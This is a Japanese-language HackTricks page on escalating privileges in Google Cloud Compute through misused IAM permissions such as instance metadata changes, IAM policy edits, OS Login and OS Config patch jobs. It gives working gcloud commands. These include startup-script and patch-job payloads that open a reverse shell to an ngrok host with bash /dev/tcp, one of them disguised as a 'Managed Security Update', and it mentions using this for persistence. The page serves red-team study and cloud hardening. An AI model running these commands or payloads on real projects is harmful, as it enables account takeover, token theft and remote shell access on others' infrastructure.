GCP - Compute Privesc
Reading time: 9 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Compute
GCPのComputeとVPC(ネットワーク)に関する詳細情報は、以下を確認してください:
caution
インスタンスのメタデータを変更する必要があるすべての特権昇格攻撃(新しいユーザーやSSHキーの追加など)を実行するには、インスタンスに添付されたSAに対してactAs
権限を持っている必要があります。たとえSAがすでに添付されていてもです!
compute.projects.setCommonInstanceMetadata
その権限を持つことで、インスタンスのメタデータ情報を変更し、ユーザーの認証キーを変更するか、sudo権限を持つ新しいユーザーを作成することができます。したがって、任意のVMインスタンスにSSHで接続し、そのインスタンスが実行しているGCPサービスアカウントを盗むことができます。
制限事項:
- GCPサービスアカウントは、VMインスタンスでデフォルトで非常に制限されたスコープを持っています。
- ログインするためにSSHサーバーに連絡できる必要があります。
この権限を悪用する方法についての詳細情報は、以下を確認してください:
新しいスタートアップスクリプトを追加し、インスタンスを再起動することでこの攻撃を実行することもできます:
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
compute.instances.setMetadata
この権限は、前の権限と同じ特権を与えますが、プロジェクト全体ではなく特定のインスタンスに対してです。前のセクションと同様の脆弱性と制限が適用されます。
compute.instances.setIamPolicy
この種の権限は、前の権限を持つ役割を自分に付与し、それを悪用して特権を昇格させることを可能にします。以下は、サービスアカウントに roles/compute.admin
を追加する例です:
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE
cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
compute.instances.osLogin
インスタンスでOSLoginが有効になっている場合、この権限を使用して**gcloud compute ssh [INSTANCE]
を実行し、インスタンスに接続できます。インスタンス内ではroot権限はありません**。
tip
この権限でVMインスタンスに正常にログインするには、VMにアタッチされたSAに対してiam.serviceAccounts.actAs
権限を持っている必要があります。
compute.instances.osAdminLogin
インスタンスでOSLoginが有効になっている場合、この権限を使用して**gcloud compute ssh [INSTANCE]
を実行し、インスタンスに接続できます。インスタンス内ではroot権限があります**。
tip
この権限でVMインスタンスに正常にログインするには、VMにアタッチされたSAに対してiam.serviceAccounts.actAs
権限を持っている必要があります。
compute.instances.create
,iam.serviceAccounts.actAs, compute.disks.create
, compute.instances.create
, compute.instances.setMetadata
, compute.instances.setServiceAccount
, compute.subnetworks.use
, compute.subnetworks.useExternalIp
サービスアカウントが割り当てられた仮想マシンを作成し、メタデータにアクセスしてトークンを盗むことが可能です。これにより、権限を昇格させることができます。
この方法のためのエクスプロイトスクリプトはこちらにあります。
osconfig.patchDeployments.create
| osconfig.patchJobs.exec
**osconfig.patchDeployments.create
またはosconfig.patchJobs.exec
**権限を持っている場合、パッチジョブまたはデプロイメントを作成できます。これにより、環境内で横移動し、プロジェクト内のすべてのコンピュートインスタンスでコード実行を得ることができます。
現在、インスタンスにアタッチされたSAに対して**actAs
権限は必要ありません**。
手動でこれを悪用したい場合は、パッチジョブ または デプロイメントを作成する必要があります。
パッチジョブを実行するには:
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
パッチデプロイメントを展開するには:
gcloud compute os-config patch-deployments create <name> ...
ツール patchy は、この誤設定を悪用するために過去に使用されていました(しかし、現在は動作していません)。
攻撃者はこれを持続性のために悪用することもできます。
compute.machineImages.setIamPolicy
コンピュートイメージに対して追加の権限を付与します。
compute.snapshots.setIamPolicy
ディスクスナップショットに対して追加の権限を付与します。
compute.disks.setIamPolicy
ディスクに対して追加の権限を付与します。
アクセススコープのバイパス
このリンクをたどると、アクセススコープをバイパスするためのアイデアが見つかります。
GCPコンピュートインスタンスにおけるローカル特権昇格
GCP - local privilege escalation ssh pivoting
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。